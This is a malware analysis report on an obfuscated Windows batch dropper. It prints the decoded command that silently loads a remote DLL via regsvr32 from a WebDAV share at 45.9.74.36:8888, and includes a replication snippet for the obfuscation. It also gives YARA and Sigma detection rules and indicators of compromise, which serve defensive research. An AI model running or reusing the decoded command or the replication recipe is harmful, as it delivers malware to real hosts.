682bea06c5cfeabc74f1a08f5a0383bb48c6787b9c08d4371efa2c3c7753bd55unclassified-js-webdav-dropper: 682bea06 — pure batch, natural-language SET obfuscation, 45.9.74.36:8888
Executive Summary
Thirty-seventh confirmed sibling of the unclassified-js-webdav-dropper family: a pure Windows batch-script dropper (112802522335817807.bat, 11.9 KB) using 36 natural-language-phrase SET variables for obfuscation, a color f0 && start wordpad decoy, and a PowerShell-hidden wrapper to mount a WebDAV share and silently register a remote DLL via regsvr32 /s. Static-only analysis (batch script; no PE binary to detonate). Infrastructure: 45.9.74.36:8888 — the most frequently observed C2 IP in this family.
What It Is
- File:
112802522335817807.bat^[file.txt] - Size: 11,932 bytes ^[file.txt]
- Type: ASCII text with CRLF line terminators; very long lines (up to 2,215 chars) ^[file.txt]
- SHA-256:
682bea06c5cfeabc74f1a08f5a0383bb48c6787b9c08d4371efa2c3c7753bd55^[triage.json] - Family: unclassified-js-webdav-dropper (thirty-seventh confirmed sibling) ^[index.md]
How It Works
The script opens with a goto wind jump, skipping 48 lines of natural-language word-salad padding (e.g., "authority chubby adaptable airplane different loss dislike grateful promise..."). ^[strings.txt:1-48] This padding serves no functional purpose — it is anti-triage noise to inflate file size and delay analyst comprehension.
At the :wind label, 36 SET variables are defined in a single concatenated line, each mapping a long English-phrase name to a single alphanumeric character: ^[strings.txt:49]
set northfemaledifferent=7
set icicledepressedmatch=3
set aftermathundesirableunsuitable=b
set grouchytastelessdirt=c
... (36 total)
The variable names are grammatically plausible three-to-five-word English phrases (e.g., meddleneighborlyinquisitive, swelteringorganictangy, hangingcemeterytiger). This is the same naming convention observed in siblings ffd5d894, e11665cf, dac5e0ee, b2a097ba, b32ea531, 976dc607, and 9bea44f4. ^[/intel/analyses/ffd5d894f5e350baace2342fc3c2c7de63a82138469db1694c35c732cf0c9df4.html]
The decoded payload executes in three lines:
color f0&&start wordpad
start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\28078514069.dll
exit
Line 1 (color f0 && start wordpad) launches WordPad as a decoy to occupy the user. ^[strings.txt:50]
Line 2 spawns powershell.exe -WindowStyle Hidden to mount the WebDAV share and call regsvr32 /s on the remote DLL. ^[strings.txt:51]
Line 3 (exit) terminates the batch interpreter. ^[strings.txt:52]
Notably, this sample uses net use + regsvr32 /s in a single PowerShell command line rather than the native batch net use + regsvr32 seen in earlier siblings. The PowerShell wrapper adds one additional proxy-execution layer (T1218) and conceals the command from basic cmd.exe command-line logging unless EDR captures the PowerShell process arguments.
Decompiled Behavior
Not applicable — this is a plaintext batch script, not a compiled binary. No Ghidra or radare2 analysis possible. The script logic is fully recoverable via cmd.exe /D /C variable expansion or manual substitution.
C2 Infrastructure
| Indicator | Value | Evidence |
|---|---|---|
| C2 IP | 45.9.74.36 |
Decoded payload line 2 ^[strings.txt:51] |
| C2 Port | 8888 |
Decoded payload line 2 ^[strings.txt:51] |
| WebDAV path | \davwwwroot\ |
Decoded payload line 2 ^[strings.txt:51] |
| Payload filename | 28078514069.dll |
Decoded payload line 2 ^[strings.txt:51] |
| Execution method | regsvr32 /s via PowerShell wrapper |
Decoded payload line 2 ^[strings.txt:51] |
The 45.9.74.36:8888 infrastructure is the most frequently observed C2 endpoint in this family, hosting 25+ siblings across batch and JScript dialects. ^[raw/analyses/unclassified-js-webdav-dropper.md]
Interesting Tidbits
- Padding volume: 48 lines of word-salad noise (≈ 40% of file size) before the
:windlabel. This is within the range observed in siblings976dc607(~40 lines) anda1b6e36f(~185 lines), confirming the padding-as-obfuscation trend in the pure-batch natural-language dialect. ^[/intel/analyses/976dc6079cdd2f55efaccf08f0b16317523e6143dddbe825a82aa23be9d74acc.html] ^[/intel/analyses/a1b6e36f99e1f94e452e8edcf7af6ba0e86de30d8e7508399881519c85f7b5c4.html] - Variable name length: 12–30 characters per name, averaging 22.5 chars. Longer than the shared-prefix dialect (8–12 chars) but shorter than the most verbose natural-language siblings.
- Character coverage: All 36 variables cover the full alphanum set
a-z0-9(no uppercase, no punctuation). The payload requires only lowercase letters, digits, and standard batch symbols (\,@,.,%,&,;,-,). - PowerShell wrapper: Unlike siblings
ffd5d894,e9e82d14, andf170f5a9which executenet use+regsvr32directly from batch, this sample wraps both commands inside apowershell.exe -WindowStyle Hiddencall. This is a behavior observed in sibling976dc607but not in the earlier pure-batch cluster. The shift suggests operator preference for PowerShell proxy execution to evade simpler cmd.exe telemetry rules. - No persistence: No registry writes, scheduled tasks, or startup-folder copies. One-shot execution consistent with all prior siblings. ^[raw/analyses/unclassified-js-webdav-dropper.md]
- No sandbox gate: No
aspnet_compiler,VmCompute, orvmtoolsdchecks. No anti-VM, anti-debug, or connectivity verification. The script executes blindly on any Windows host with WebDAV client enabled. ^[raw/analyses/unclassified-js-webdav-dropper.md]
How To Mess With It (Homelab Replication)
- Reproduce the obfuscation:
import random, string payload = "color f0&&start wordpad\n" payload += "start powershell.exe -windowstyle hidden net use \\\\\\45.9.74.36@8888\\davwwwroot\\ ; regsvr32 /s \\\\\\45.9.74.36@8888\\davwwwroot\\28078514069.dll\n" payload += "exit\n" # Generate 36 natural-language variable names mapping to payload chars # (omitted for brevity — use a word-list and assign one char per name) - Test detection: Drop the
.baton a Windows VM with EDR. Does the EDR flag:powershell.exe -WindowStyle Hiddenspawned bycmd.exe?net usewith aDavWWWRootUNC path?regsvr32.exeloading a DLL from a network share?
- Test static YARA: Write a rule matching
SET [a-z]{12,30}=[a-z0-9]repeated 30+ times followed by%[a-z]{12,30}%concatenation patterns. See Deployable Signatures below.
Deployable Signatures
YARA Rule
rule WebDAV_Batch_Dropper_NaturalLang_SET
{
meta:
description = "WebDAV batch dropper with natural-language SET variable obfuscation"
author = "PacketPursuit"
family = "unclassified-js-webdav-dropper"
reference = "/intel/analyses/682bea06c5cfeabc74f1a08f5a0383bb48c6787b9c08d4371efa2c3c7753bd55.html"
strings:
$set_pattern = /set [a-z]{12,30}=[a-z0-9]/
$wind_label = ":wind" ascii wide
$davwwwroot = "DavWWWRoot" ascii wide nocase
$regsvr32 = "regsvr32" ascii wide nocase
$powershell_hidden = "-windowstyle hidden" ascii wide nocase
$wordpad_decoy = "start wordpad" ascii wide nocase
condition:
uint16(0) != 0x5A4D and // not a PE
filesize < 25KB and
#set_pattern > 30 and
$wind_label and
$davwwwroot and
$regsvr32 and
any of ($powershell_hidden, $wordpad_decoy)
}
Sigma Rule
title: WebDAV Batch Dropper Execution - PowerShell Hidden Wrapper
status: experimental
description: Detects batch script spawning PowerShell with hidden window to execute net use + regsvr32 against a WebDAV UNC path
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: '\cmd.exe'
CommandLine|contains:
- 'windowstyle hidden'
- 'net use'
- 'DavWWWRoot'
selection_regsvr32:
Image|endswith: '\regsvr32.exe'
CommandLine|contains: 'DavWWWRoot'
selection_netuse:
Image|endswith: '\net.exe'
CommandLine|contains: 'DavWWWRoot'
condition: selection_parent or selection_regsvr32 or selection_netuse
falsepositives:
- Legitimate WebDAV administration scripts
level: high
IOC List
| Type | Value | Context |
|---|---|---|
| SHA-256 | 682bea06c5cfeabc74f1a08f5a0383bb48c6787b9c08d4371efa2c3c7753bd55 |
Batch dropper |
| ssdeep | 192:S6Z2ZVSeU8zfjVUaaYe0H6paBEEkILUUuKU9BiIpVOG/YvM64/gg4TlbWb:SQejbVUaaYe0H6paBEEkILUUuKU9BjVN |
Batch dropper |
| C2 IP | 45.9.74.36 |
WebDAV server |
| C2 Port | 8888 |
WebDAV server |
| Payload | 28078514069.dll |
Remote DLL loaded via regsvr32 |
| Decoy | wordpad |
Launched to distract user |
Behavioral Fingerprint
This script is a pure batch file (not a PE) that begins with a goto jump past 40+ lines of natural-language noise padding. It defines 30+ SET variables with long English-phrase names (12–30 chars each), each mapping to a single alphanumeric character. The payload is assembled via %VARNAME% concatenation on a single line. The decoded behavior is: (1) change console colors and launch WordPad as a decoy; (2) spawn powershell.exe -WindowStyle Hidden to mount a WebDAV share (\\IP@8888\DavWWWRoot\) and silently register a remote DLL via regsvr32 /s; (3) exit. No persistence, no sandbox gate, no anti-analysis. The 45.9.74.36:8888 C2 has hosted 25+ siblings in this family.
Detection Signatures
Not applicable — this is a script, not a compiled binary. No capa, no pefile, no IAT. Static detection relies on:
- File-type heuristics (
.batwith >30SETassignments and%VAR%concatenation) - EDR process-creation telemetry (
cmd.exe→powershell.exe→regsvr32.exewith UNC path) - Network telemetry (outbound HTTP/WebDAV to
45.9.74.36:8888)
References
- Family entity: unclassified-js-webdav-dropper
- Technique: batch-powershell-variable-expansion-obfuscation
- Technique: webdav-regsvr32-dll-sideloading
- Concept: social-engineering-filename-lure
- OpenCTI labels:
bat,malware-bazaar^[triage.json]
Provenance
Analysis derived from:
file.txt— file(1) identificationstrings.txt— full text extraction (raw and decoded)triage.json— triage pipeline metadatametadata.json— artifact metadata from OpenCTI- Manual variable substitution and decoding
No CAPE detonation (batch script, not a supported binary class). No Ghidra/radare2 analysis (plaintext script, not a PE). Static-only inference is complete and accurate.